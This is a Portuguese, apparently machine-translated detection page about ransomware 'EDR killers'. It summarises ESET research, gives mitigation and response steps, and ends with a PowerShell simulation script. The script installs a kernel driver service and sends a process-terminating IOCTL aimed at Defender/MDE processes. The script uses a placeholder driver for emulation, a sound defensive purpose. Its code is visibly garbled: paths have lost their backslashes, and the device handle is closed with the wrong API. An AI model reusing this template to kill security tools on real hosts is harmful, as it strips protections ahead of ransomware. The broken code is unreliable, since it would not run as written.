Pesquisa ESET: EDR Killers explicados: Além dos drivers

Resumo

O artigo explora o ecossistema de assassinos de EDR que operadores de ransomware usam para neutralizar proteção de endpoint antes de lançar criptografadores. Ele explica como os adversários dependem de drivers vulneráveis, utilitários anti-rootkit legítimos e até técnicas sem drivers para evadir defesas e desabilitar software de segurança. Os achados são baseados em telemetria cobrindo quase 90 assassinos de EDR vistos em ataques do mundo real. A pesquisa também destaca o papel dos afiliados de ransomware, o reaproveitamento repetido dos mesmos drivers, e o crescente mercado para serviços de assassino de EDR comercializados.

Investigação

Pesquisadores da ESET analisaram telemetria, repositórios de código, e casos de intrusão documentados para rastrear como os assassinos de EDR são construídos, distribuídos e implantados. Eles classificaram várias famílias, incluindo variantes baseadas em driver, script, anti-rootkit e sem driver, e as associaram a grupos de ransomware como Warlock, LockBit, Akira e Medusa. O estudo ainda destacou a armação de código público de prova de conceito e a crescente influência do desenvolvimento assistido por IA nesse ecossistema de ferramentas.

Mitigação

Os defensores devem bloquear drivers conhecidos como vulneráveis, monitorar o uso anormal de comandos administrativos privilegiados e detectar binários de assassinos de EDR conhecidos e padrões de comportamento. Detecções em camadas que identificam a instalação de drivers, a terminação forçada de produtos de segurança e comportamento incomum de bloqueio de rede podem reduzir o tempo que os atacantes têm antes de a execução de ransomware começar.

Resposta

Se um assassino de EDR for detectado, isole o host imediatamente, termine o processo malicioso, remova quaisquer drivers não autorizados e confirme que os controles de segurança foram totalmente restaurados. Siga com uma análise forense para determinar qual carga de ransomware ou atividade de afiliados está associada à intrusão e ative o fluxo de trabalho de resposta a incidentes mais amplo.

Execução de Simulação

Pré-requisito: A Checagem Pré-voo de Telemetria & Base deve ter passado.

Narrativa de Ataque & Comandos

1. Fase 1 – Solte o driver malicioso
   O atacante escreve um binário de driver (EdrKiller.sys) para C:WindowsTemp e o registra como um serviço chamado EdrKillerSvc.

2. Fase 2 – Inicie o serviço de driver
   Iniciar o serviço carrega o driver no espaço do kernel, onde ele registra um manipulador IOCTL capaz de terminar processos.

3. Fase 3 – Emita o DeviceIoControl malicioso
   Usando PowerShell, o atacante abre um manipulador para EdrKiller e envia o código IOCTL 0x9C040001 (código hipotético “TerminateProcess”). O driver itera a lista de processos, mata qualquer processo cujo nome executável corresponda a um componente EDR conhecido.

4. Fase 4 – Verifique a terminação
   O atacante verifica que os processos EDR alvo não estão mais em execução.

Script de Teste de Regressão

# --------------------------------------------------------------
# Simulação de Assassino de EDR – PowerShell (requer administrador)
# --------------------------------------------------------------

# 1. Caminhos e variáveis
$driverPath   = "$env:ProgramDataEdrKiller.sys"
$serviceName  = "EdrKillerSvc"
$deviceName   = ".EdrKiller"
$ioctlCode    = 0x9C040001   # Código de controle para exemplo de "TerminateProcesses"

# 2. Implantar driver malicioso (simulado – substitua por um .sys real para teste real)
#    Para fins de demonstração, copiamos um driver legítimo (por exemplo, null.sys) para atuar como espaço reservado.
Copy-Item "$env:SystemRootSystem32driversnull.sys" -Destination $driverPath -Force

# 3. Crie e inicie o serviço que carrega o driver
sc.exe create $serviceName binPath= "$driverPath" type= kernel start= demand
sc.exe start $serviceName

Start-Sleep -Seconds 2   # dá tempo para o driver inicializar

# 4. Defina DeviceIoControl e P/Invoke
$signature = @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateFile(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        uint dwIoControlCode,
        IntPtr lpInBuffer,
        uint nInBufferSize,
        IntPtr lpOutBuffer,
        uint nOutBufferSize,
        out uint lpBytesReturned,
        IntPtr lpOverlapped);
}
"@
Add-Type $signature

# 5. Abra manipulador para o driver
$GENERIC_READ  = 0x80000000
$GENERIC_WRITE = 0x40000000
$OPEN_EXISTING = 3
$hDevice = [NativeMethods]::CreateFile(
    $deviceName,
    $GENERIC_READ -bor $GENERIC_WRITE,
    0,
    [IntPtr]::Zero,
    $OPEN_EXISTING,
    0,
    [IntPtr]::Zero)

if ($hDevice -eq [IntPtr]::MinusOne) {
    Write-Error "Falha ao abrir manipulador para $deviceName"
    exit 1
}

# 6. Emita o IOCTL malicioso
$bytesReturned = 0
$success = [NativeMethods]::DeviceIoControl(
    $hDevice,
    $ioctlCode,
    [IntPtr]::Zero,
    0,
    [IntPtr]::Zero,
    0,
    [ref]$bytesReturned,
    [IntPtr]::Zero)

if ($success) {
    Write-Host "DeviceIoControl malicioso enviado com sucesso."
} else {
    $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-Error "DeviceIoControl falhou com erro $err"
}

# 7. Feche manipulador
[System.Runtime.InteropServices.Marshal]::Release($hDevice) | Out-Null

# 8. Verifique que os processos típicos de EDR desapareceram (nomes de exemplo)
$edrProcs = @("MsMpEng.exe","windefend.exe","MsSense.exe")
foreach ($proc in $edrProcs) {
    if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
        Write-Warning "$proc ainda está em execução."
    } else {
        Write-Host "$proc encerrado com êxito."
    }
}

Comandos de Limpeza

# Pare e exclua o serviço de driver malicioso
sc.exe stop $serviceName
sc.exe delete $serviceName

# Remova arquivo de driver falso
Remove-Item -Path $driverPath -Force

Write-Host "Limpeza concluída."